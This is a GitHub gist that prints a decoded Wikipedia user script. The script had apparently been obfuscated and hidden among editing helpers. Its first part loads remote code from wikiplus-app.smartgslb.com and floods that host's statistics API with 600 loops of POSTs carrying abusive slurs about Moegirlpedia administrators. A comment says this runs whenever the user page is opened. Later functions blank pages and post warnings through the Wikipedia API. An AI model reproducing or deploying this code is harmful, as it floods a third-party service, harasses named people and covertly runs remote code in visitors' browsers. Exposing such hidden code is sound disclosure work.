Skip to content

Instantly share code, notes, and snippets.

Created September 25, 2016 04:44
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/eeeca3af9e2c0e1c17c96874dade43c6 to your computer and use it in GitHub Desktop.
Save anonymous/eeeca3af9e2c0e1c17c96874dade43c6 to your computer and use it in GitHub Desktop.
解密曹国祥
// {{vfd|扰乱外站的恶意代码。|date=2016/09/23}}
/**
* 備註:
* 1. 那段縮進整齊的、使用了jQuery的那段代碼最初是我隨手給小曹寫的。
* 2. 這段代碼於1:30被Jimmy Xu提刪,2:54就墜毀了。
*/
mw.loader.load('https://wikiplus-app.smartgslb.com/Main.js');
for (var i = 0; i < 600; i++) {
var xcrandom = parseInt(100 * Math.random());
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=Wikipedia&usetime=2333&username=滥权Baskice怂狗你妈炸了' + xcrandom + '次&pagename=萌娘百科,滥权百科', function(text, status) {});
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=Wikipedia&usetime=2333&username=滥权Recital君怂狗亲妈炸了' + xcrandom + '次&pagename=萌百怂狗炸了妈,我没笋丝哈哈哈' + xcrandom, function(text, status) {});
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=萌娘百科&usetime=2333&username=滥权Baskice怂狗你妈炸了' + xcrandom + '次&pagename=萌娘百科,滥权百科', function(text, status) {});
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=萌娘百科&usetime=2333&username=滥权Recital君怂狗亲妈炸了' + xcrandom + '次&pagename=萌百怂狗炸了妈,我没笋丝哈哈哈' + xcrandom, function(text, status) {});
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=萌娘百科&usetime=2333&username=滥权Recital君怂狗亲妈炸了' + xcrandom + '次&pagename=萌娘百科,死妈百科', function(text, status) {});
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=萌娘百科&usetime=2333&username=滥权Recital君怂狗亲妈炸了' + xcrandom + '次&pagename=萌娘百科,炸妈百科', function(text, status) {});
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=Wikipedia&usetime=2333&username=滥权Recital君怂狗亲妈炸了' + xcrandom + '次&pagename=萌娘百科,死妈百科', function(text, status) {});
$.post('https://wikiplus-app.smartgslb.com/statistics/api/submit', 'wikiname=Wikipedia&usetime=2333&username=滥权Recital君怂狗亲妈炸了' + xcrandom + '次&pagename=萌娘百科,炸妈百科', function(text, status) {});
}
//打开用户页及其所有子页面时自动攻击萌娘百科( 加密代码防止某人提删)
//最近更改反破坏器开始
console.log("最近更改反破坏器正在初始化");
console.log("使用方法:直接打开最近更改");
console.log("最近更改反破坏器初始化完毕");
$(function() {
var hide = false;
if (mw.config.get('wgTitle') === '最近更改') {
var $list = $('.mw-changeslist');
$list.prepend('<button id="show1000">只顯示疑似破坏的變更</button>');
$('#show1000').click(function() {
if (hide) {
$('li', $list).show();
} else {
$('li', $list).each(function() {
var $e = $(this);
var $size = $('.mw-plusminus-neg', $e);
if ($size.length === 0) {
$e.hide();
} else {
var size = parseInt($size.text().replace(/[ (,)-]/g, ''));
if (size < 1000) {
$e.hide();
}
}
});
}
hide = !hide;
});
}
});
//最近更改反破坏器结束
//小曹铁路辅助编辑器开始
console.log("小曹铁路辅助编辑器正在初始化");
console.log("初始化Token");
gettoken();
console.log("已成功加载");
console.log("使用方法:在下面的控制台输入下列指令");
console.log('清空页面:clearPage("页面名称","编辑摘要");');
console.log('警告用户:warnUser("用户名","遭到破坏的页面名字","页面ID");');
var token = '+/'
var pagename = 'User:小曹2015'
var summary = '未指定编辑摘要'
function gettoken() {
$.post('https://zh.wikipedia.org/w/api.php?action=query&meta=tokens&format=json', '', function(text, status) {
xcrailgettoken(text);
});
}
function xcrailgettoken(text) {
var obj = eval(text);
console.log(obj.query.tokens.csrftoken);
var xcrail = obj.query.tokens.csrftoken
token = xcrail
}
function edit() {
$.post('https://zh.wikipedia.org/w/api.php?action=edit&format=json&title=' + pagename + '&text=111&summary=' + summary + '(由[[User:小曹2015|曹铁快速编辑器]]进行)', 'token=' + encodeURIComponent(token), function(text, status) {
alert(text);
});
}
function clearPage(pgname, summarys) {
gettoken();
if (pgname == undefined) {
throw ('请输入页面名称');
} else {
pagename = pgname
summary = summarys
setTimeout(edit(), 5000);
}
}
function warnUser(username, pgname, diff) {
var sign = "~~"
sign = sign + "~~"
var content = "小曹大大发现阁下刚刚对[[" + pgname + "]]的编辑貌似删除了页面的大部分内容。(编辑ID:[[Special:diff/" + diff + "|" + diff + "]])。<br/>请注意:'''请不要删除大段的页面内容。'''<br/>这将会被视为破坏并可能会导致您的账号被{{color|red|封禁}}!<br/>如果有疑问,请在[[User_talk:小曹2015|我的讨论页]]提出疑问。祝编安。<br/><small>(这个消息不是[[WP:BOT]]发出的。是[[User:小曹2015|小曹]]使用小曹铁路维护工具添加的。这只是一个善意的提醒,并不是警告模板。)</small>" + sign;
gettoken();
$.post('https://zh.wikipedia.org/w/api.php?action=edit&format=json&title=User_talk:' + username + '&section=new&sectiontitle=您可能正在破坏', 'token=' + encodeURIComponent(token) + '&text=' + content + '&summary=添加警告内容(由[[User:小曹2015/快编|曹铁快速编辑器]]进行)', function(text, status) {
alert(text);
});
/* "==您可能正在破坏==
小曹大大发现阁下刚刚对[["+pgname+"]]的编辑貌似删除了页面的大部分内容。(编辑ID:[[Special:diff/"+diff+"|"+diff+"]])。请注意:'''请不要删除大段的页面内容。'''这将会被视为破坏并可能会导致您的账号被{{color|red|封禁}}!如果有疑问,请在[[User_talk:小曹2015|我的讨论页]]提出疑问。祝编安。
<small>这个消息不是[[WP:BOT]]发出的。是[[User:小曹2015|小曹]]使用小曹铁路维护工具添加的。这只是一个善意的提醒,并不是警告模板。如果您继续破坏,可能会受到警告模板。</small>——[[User:小曹2015|<span style="font-family:Verdana;font-size:middle;border-radius:999px;background:#18C3F4;padding:0 10px;color:#fff" title="Reply">萌萌哒的小曹大大</span>]]<span id="<nowiki>{{</nowiki>vandal|小曹2015}}">{{ {{ifIP|name=小曹2015|IPvandal|Userblock}} |小曹2015}}</span> 2016年9月23日 (五) 09:13 (UTC)" */
}
//小曹铁路辅助编辑器结束
@XCRailFans
Copy link

>>> print(u'èå¨ç¾ç§ï¼æ»¥æç¾ç§'.encode('ISO-8859-1').decode('UTF-8'))
萌娘百科,滥权百科

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment